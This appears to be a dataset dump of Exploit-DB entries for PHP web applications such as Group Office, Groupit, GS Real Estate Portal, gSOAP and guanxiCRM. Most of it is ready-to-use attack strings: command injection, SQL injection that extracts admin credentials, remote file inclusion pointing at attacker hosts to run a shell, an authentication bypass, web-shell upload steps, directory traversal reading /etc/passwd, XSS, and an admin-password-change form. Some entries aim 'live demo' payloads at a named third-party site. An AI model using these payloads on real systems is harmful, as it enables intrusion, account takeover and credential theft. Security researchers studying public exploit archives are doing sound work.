deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14381
Description: Group Office - Remote Command Execution
Type: webapps
Platform: php
Date: 2010-07-16
Author: ADEO Security

Exploit:
# Title
Group Office Remote Command Execution Vulnerability

# Author
ADEO Security

# Published
16/07/2010

# Version
3.5.9 (Possible all versions)

# Vendor
http://www.group-office.com

# Download
http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download

# Description
"Take your office online with Group-Office groupware. Share projects,
calendars, files and e-mail online with co-workers and clients. Easy
to use and fully customizable, Group-Office takes online collaboration
to the next level."

# Credit
Vulnerability founded by Canberk BOLAT
	- Mail: security[AT]adeo.com.tr
	- Web: http://security.adeo.com.tr , http://adeosecuritylabs.com

# Vulnerability
Remote attacker can execute commands on the system that host target
web application. Its high level vulnerability. Attacker needs gnupg
module that installed.

modules/gnupg/json.php:
$data = $gnupg->export($_REQUEST['fingerprint']);


In json.php export method called with HTTP Request that's name
fingerprint. In the export method, variable $fingerprint passed to
run_cmd method.

modules/gnupg/classes/gnupg.class.inc.php:
public function export($fingerprint)
{
	$this->run_cmd('--armor --export '.$fingerprint, $key);
...
private function run_cmd($cmd, &$output=null, &$errorcode=null,
$data=null, $passphrase=null, $background=false)
{
...
	$complete_cmd .= ' '.$cmd;
...
$p = proc_open($complete_cmd,$this->fd, $this->pipes);
...

'complete_cmd' variable executed by application and if attacker
manipulate request 'fingerprint' application executes attackers
malicious codes.


# Exploitation
http://server/groupoffice/modules/gnupg/json.php?task=send_key&fingerprint=xyz;COMMAND
Exploit-DB #14988
Description: Group Office 3.5.9 - SQL Injection
Type: webapps
Platform: php
Date: 2010-09-13
Author: ViciOuS

Exploit:
=====================================================================================
Group Office (/notes/json.php?task=category&category_id) SQL Injection Vulnerability
=====================================================================================

########################################################################################

Author : ViciOuS
Author Web Page :http://www.sabotaj.in
Email : vicious[at]sabotaj.in
Script Page : http://www.group-office.com

########################################################################################
 
Sql Injection :

http://localhost/www/groupoffice-com-3.5.9/modules/notes/json.php?task=category&category_id=999999 union(select 1,concat_ws(0x3a,username,password),3,4+from+go_users)--

########################################################################################
Thanks WwW.sabotaj.iN
########################################################################################
Exploit-DB #5197
Description: GROUP-E 1.6.41 - 'head_auth.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-27
Author: CraCkEr

Exploit:
????????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : PitBull Crew           ? ?                                    ?
?   Script   : GROUP-E 1.6.41         ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                               DALnet #crackers                            ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                               Exploit URL's                              ??
??????????????????????????????????????????????????????????????????????????????

     http://localhost/path/www/lib/head_auth.php?CFG[PREPEND_FILE]=[SHELL]    
   
??????????????????????????????????????????????????????????????????????????????
 
   Greets:
       
       The_PitBull, Raz0r, iNs, WizzKidd, Sad, S|AyER, Ehab, Tfaces, Guzman,
       Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, adal, xD

??????????????????????????????????????????????????????????????????????????????
??                               © CraCkEr 2008                             ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-02-27]
Exploit-DB #3486
Description: Groupit 2.00b5 - 'c_basepath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-15
Author: the_day

Exploit:
-------------------------------------------------------------------------------------
[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability
-------------------------------------- ----------------------------------------------

Author          : Dedi Dwianto a.k.a the_day
Date Found      : March, 15th 2007
Location        : Indonesia, Jakarta
web             : http://advisories.echo.or.id/adv/adv75-theday-2007.txt
Critical Lvl    : Highly critical
Impact          : System access
Where           : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~

Application     : Groupit
version         : 2.00b5
URL             : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~

- Invalid include function at html/content.php
-----------------------html/content.php------------

<?
...
include "$c_basepath/base/groupit.start.inc";

if (!empty($c_is_search))
{
  include "$c_basepath/modules/search/main.inc";
} else
{
  if ($c_is_section)
  {
     include  "$c_basepath/modules/content/section.inc";
  } else
  .........

include "$c_basepath/base/groupit.stop.inc";
?>
----------------------------------------------------------

Input passed to the "$c_basepath" parameter in load.inc.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

html/userprofile.php
html/password.php
html/dispatch.php
html/deliver.php

and More ....



Proof Of Concept:
~~~~~~~~~~~

http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?

Solution:
~~~

- Sanitize variable $c_basepath affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~
    EcHo Research & Development Center
    http://advisories.echo.or.id
    erdc[at]echo[dot]or[dot]id
    the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2007-03-15]
Exploit-DB #41518
Description: Groupon Clone Script 3.01 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Groupon Clone Script v3.01 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/groupon-clone-script/
# Demo: http://phpscriptsmall.info/demo/groupon-deal/
# Version: 3.01
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/product-show.php?catid=[SQL]
# For example;
# -40+/*!50000union*/+select+1,2,3,4,5,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- -
# admin :admin_id
# admin :user
# admin :pass
# admin :address
# admin :mobile
# -40+/*!50000union*/+select+1,2,3,4,5,/*!50000concat*/(user,0x3a,pass),7,8,9,10,11,12,13,14,15,16,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,18,19,20,21,22+from+admin-- -
# # # # #
Exploit-DB #43309
Description: Groupon Clone Script 3.01 - 'state_id' / 'search' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Groupon Clone Script 3.01 - 'state_id' 's' SQL Injection
# Dork: N/A
# Date: 10.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/groupon-clone-script/
# Version: 3.01
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/city_ajax.php?state_id=[SQL]
#  
# -1'++/*!09999UNION*/+/*!09999SELECT*/+0x31,(/*!09999Select*/+export_set(5,@:=0,(/*!09999select*/+count(*)/*!09999from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!09999table_name*/,0x3c6c693e,2),/*!09999column_name*/,0xa3a,2)),@,2))--+-
# 
#  
# 2)
# http://localhost/[PATH]/category_list.php?search=[SQL]
#    
# # # # #
Exploit-DB #7122
Description: GS Real Estate Portal - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-11-14
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

<<!>> site : tryag.cc/cc  $&$ hackteach.org/cc

=======================================================
++++++++++++++++++++ Script information++++++++++++++++++++++
=======================================================


<<->> script        : gs-real-estate-portal

<<->> script site : http://hostnomi.net/detail.php?spid=44                



=======================================================
++++++++++++++++++++++++ Exploit +++++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> www.site.me/forum/index.php?show_board=99999+union+select+0,0,0,0,0,0,0,0,0,concat(admin_name,0x3a,admin_pass),0,0,0,0,0,0,0+from+tbl_admin/*

<<->> live demo >>>

         >>>> http://hostnomi.net/int/forum/index.php?show_board=99999+union+select+0,0,0,0,0,0,0,0,0,concat(admin_name,0x3a,admin_pass),0,0,0,0,0,0,0+from+tbl_admin/*

=======================================================
+++++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


all freinds ,  muslim , and stroke  .... and for the kids who send the message :) u just kide 

# milw0rm.com [2008-11-14]
Exploit-DB #7117
Description: GS Real Estate Portal US/International Module - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-11-14
Author: ZoRLu

Exploit:
[~] GS Real Estate Portal US and International Module
[~]
[~] SQL/BYPASS/RFU/XSS
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 13.11.2008
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] contact: trt-turk@hotmail.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] my bug number now: 39
[~]
[~] my target bug number: 100
[~]
[~] -----------------------------------------------------------


Exploit 1: sql inj

http://localhost/script/email.php?AgentID=[SQL]


[SQL]

-47+union+select+1,2,3,4,5,6,7,8,9,10,concat(user(),0x3a,database(),0x3a,version()),12,13,14,15,16,17,18,19,20,21,22,23+from+admin--


sql for demo:

http://hostnomi.net/int/email.php?AgentID=-47+union+select+1,2,3,4,5,6,7,8,9,10,concat(user(),0x3a,database(),0x3a,version()),12,13,14,15,16,17,18,19,20,21,22,23+from+admin--



Exploit 2: auth bypass

login: http://localhost/script/login.php

username: [real_admin_or_user_name] ' or ' 1=1--

password: ZoRLu

note: generally admin name: admin 


bypass for demo:

login: http://hostnomi.net/int/login.php

admin: admin ' or ' 1=1--

passwd: ZoRLu


exploit 3: Rfu

you login to site and edit your profile upload your_shell.php

after right click to your logo and select properties. copy photo link. 

paste your explorer go your_shell.php


your_shell.php path:

http://localhost/script/re_images/[id]_logo_your_shell.php


rfu for demo:

user: zorlu

[CREDENTIAL_REDACTED] 

edit profile: http://hostnomi.net/int/profile.php

shell: http://hostnomi.net/int/re_images/[PII_REDACTED]_logo_c.php ( no permission this demo server )



exploit 4: XSS

http://localhost/script/email.php?AgentID=&ListingID="><script>alert()</script>

xss for demo:

http://hostnomi.net/int/email.php?AgentID=&ListingID="><script>alert()</script>


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & all Muslim HaCkeRs
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-14]
Exploit-DB #47653
Description: gSOAP 2.8 - Directory Traversal
Type: webapps
Platform: php
Date: 2019-11-13
Author: numan türle

Exploit:
# Title: gSOAP 2.8 - Directory Traversal
# Author: Numan Türle
# Date: 2019-11-13
# Vendor Homepage: https://www.genivia.com/
# Version : gSOAP 2.8
# Software Link : https://www.genivia.com/products.html#gsoap


POC
---------

GET /../../../../../../../../../etc/passwd HTTP/1.1
Host: 10.200.106.101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

Response
---------
HTTP/1.1 200 OK
Server: gSOAP/2.8
Content-Type: application/octet-stream
Content-Length: 51
Connection: close

root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh
Exploit-DB #22317
Description: GTCatalog 0.8.16/0.9 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-03-03
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6998/info

GTCatalog is prone to an issue that may allow remote attackers to include files located on attacker-controlled servers.

This vulnerability is as a result of insufficient sanitization performed on remote user supplied data.

Under some circumstances, it is possible for remote attackers to manipulate URI parameters to include external files on remote servers. If the remote file is a malicious file, this may be exploited to execute arbitrary system commands in the context of the web server. 

http://www.target.com/index.php?function=custom&custom=http://www.attacker.com/1.custom.inc
Exploit-DB #2745
Description: gtcatalog 0.9.1 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-09
Author: v1per-haCker

Exploit:
#=============================================================================================
#  Shopping Catalog (RFI)
#=============================================================================================
# Info:-
#
# Scripts: Shopping_Catalog
# download : http://www.gimescripts.com/categories/11%20Shopping%20Catalog%20PHP%20Script.zip
# Version : -
# Dork & vuln : download scripts and think :)
#
#=============================================================================================
#Exploit :
#
#http://localhost/path/index.php?function=custom&custom=http://EvElCoDe.txt?
#
#=============================================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#
#XP10_hackEr Team               >>      www.xp10.com
#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org
#
#Greetz to :    | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  |
#               | ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |
#               | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |
#               | MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  |
#               |  MuhaciR  | Skrmhcr-GVinux | Jean |
#
# Thanks >>     /str0ke & www.milw0rm.com & www.google.com
#==============================================================================================

# milw0rm.com [2006-11-09]
Exploit-DB #27092
Description: GTP iCommerce - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-01-16
Author: Preddy

Exploit:
source: https://www.securityfocus.com/bid/16255/info

GTP iCommerce is prone to multiple cross-site scripting vulnerabilities.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?page=listStory&cat=Programs+and+Services&subcat=[code]
http://www.example.com/index.php?page=listStory&cat=[code]
Exploit-DB #2381
Description: guanxiCRM Business Solution 0.9.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-16
Author: SHiKaA

Exploit:
#==============================================================================================
#guanxiCRM <= v0.9.1 (rootpath) Remote File Inclusion Exploit
#===============================================================================================
#                                                                      
#Critical Level : Dangerous                                            
#                                                                      
#Venedor site : http://sourceforge.net/projects/guanxicrm/      
#                                                                      
#Version : v0.9.1                                            
#                                                        
#================================================================================================
#
#Example : http://www.nu3d.com/crm
#
#================================================================================================
#Bug in : include/phpxd/phpXD.php
#
#Vlu Code :
#--------------------------------
#     $path = $appconf["rootpath"]. "/include/phpxd/";
#
#     require($path."include/dom.php");
#     require($path."include/dtd.php");
#     require($path."include/parser.php");
#     ?>
#
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/include/phpxd/phpXD.php?appconf[rootpath]=http://SHELLURL.COM?&cmd=id
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Special Thx To : Str0ke & simoo & XoRoN & Saudi Hackerz
==================================================================================================

# milw0rm.com [2006-09-16]
Exploit-DB #29755
Description: Guesbara 1.2 - Administrator Password Change
Type: webapps
Platform: php
Date: 2007-03-19
Author: Kacper

Exploit:
source: https://www.securityfocus.com/bid/23029/info

Guesbara is prone to a vulnerability that may permit attackers to change the administrative
password.

Exploiting this issue may allow an attacker to gain administrative access to the affected application. Successful exploits will result in a complete compromise of the application. 

<html> <title>Guestbara <= 1.2 Change admin login & password exploit by Kacper</title> <table border=0 cellspacing=0 cellpadding=0 align='center'> <form method='post' action='http://127.0.0.1/guestbook_path/admin/configuration.php?action=saveconfig&zapis=ok'><tr> <tr><td width=200>Admin Email</td><td><input type='text' name='admin_mail' class='textfield' value=''></td></tr> <tr><td width=200>Admin Name</td><td><input type='text' name='login' class='textfield' value=''></td></tr> <tr><td width=200>Admin Pass</td><td><input type='password' name='pass' class='textfield' value=''></td></tr> <tr><td colspan=2 align=center> <p> <input type='submit' name='submit' value='Zachowaj'> </p> <p>by Kacper </p> <p>for</p> <p><a href="http://www.rahim.webd.pl/" target="_blank">DEVIL TEAM </a></p></td></tr> </form></table> <p>&nbsp;</p> <p align="center">script download: http://www.hotscripts.pl/produkt-3051.html</p> <p align="center">Greetz @ll DEVIL TEAM </p> </html>